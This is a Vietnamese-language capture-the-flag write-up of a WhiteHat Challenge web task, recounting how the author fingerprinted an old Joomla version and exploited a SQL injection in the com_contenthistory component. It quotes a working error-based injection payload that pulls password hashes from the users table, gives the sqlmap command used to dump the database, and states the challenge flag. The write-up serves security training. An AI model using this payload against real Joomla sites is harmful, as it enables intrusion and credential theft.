[write up] Whitehat Challenge 1 – Web002

Đã lâu rồi mình chưa viết lại write up ctf mà chỉ tập luyện cùng những đàn anh trong team MeePwn. Bây giờ mấy anh đi thi cả rồi mình mới mạn phép write up một bài khá dễ ở giải WhiteHat Challenge 1 – 2017

Hien is creating an e-commerce website. However, without deep knowledge about the CMS used, Hien leaves a critical vulnerability in his website. Can you help him to find it out?

Website URL: http://lab11.wargame.whitehat.vn/0153e4391b209fd6c30e301973c99d40

 

Thoạt nhìn, bài này khá rối với một loại các trang đủ các loại địa chỉ. Nhìn là thấy khó nuốt nên mình chỉ nghỉ đến SQL injection thôi, còn ngoài ra các lỗi khác mình “không dám” nghĩ đến. Đầu tiên thì fuzz nó trước đã.

Xem file robots.txt có gì nào.

# If the Joomla site is installed within a folder such as at
# e.g. www.example.com/joomla/ the robots.txt file MUST be
# moved to the site root at e.g. www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to the disallowed
# path, e.g. the Disallow rule for the /administrator/ folder
# MUST be changed to read Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/orig.html
#
# For syntax checking, see:
# http://tool.motoricerca.info/robots-checker.phtml

User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /media/
Disallow: /modules/
Disallow: /plugins/
Disallow: /templates/
Disallow: /tmp/

Ta thấy có trang administrator => vào xem.

Chẳng có gì ngoài form đăng nhập khá khó để inject => bỏ qua.

Dựa vào file robots.txt mình biết trang web được viết trên framework joomla.

Mình google để tìm cách xem version của joomla hiện đang xài. bằng cách xem nội dung file:

[joomlasite]/administrator/language/en-GB/en-GB.xml

Trang web của chúng ta có version là 3.2.3 => google xem joomla 3.2.3 có lỗi nào không.

Sau 2h ngồi đọc đủ loại vulnerability liên quan thì mình đã tìm được.

https://www.exploit-db.com/exploits/38534/

Cơ mà đời không như mơ, chạy tool exploit chẳng được kết quả gì cả. Mình quyết định xem code exploit người ta làm sao thì thấy một đoạn payload rất đơn giản:

"/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select+1+from+(select+count(*),+concat((select+(select+concat(password))+from+icalab_users+LIMIT+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)";

Như vậy có thể biết được url bị lỗi nằm ở:

"http://lab11.wargame.whitehat.vn/0153e4391b209fd6c30e301973c99d40/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]="

và có thể inject ở biến list[select]

Nhưng vì đời không như mơ nên chắc là payload của tool có lỗi gì đấy. Mình quyết định sử dụng sqlmap (vì mình khá lười query tay hay code tool). Bật kali linux lên 😀

Sử dụng sqlmap với lệnh sau:

sqlmap -u "http://lab11.wargame.whitehat.vn/0153e4391b209fd6c30e301973c99d40/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=" -p list[select]

Vâng, kết quả là MySQL với Error base => tìm database của nó thôi

Chúng ta có database rồi, việc còn lại là chạy tool tìm tables, columns và dump column muốn xem ra thôi.

Ez flag: sqli_in_old_version_of_joomla

 

2 thoughts on “[write up] Whitehat Challenge 1 – Web002

Leave a comment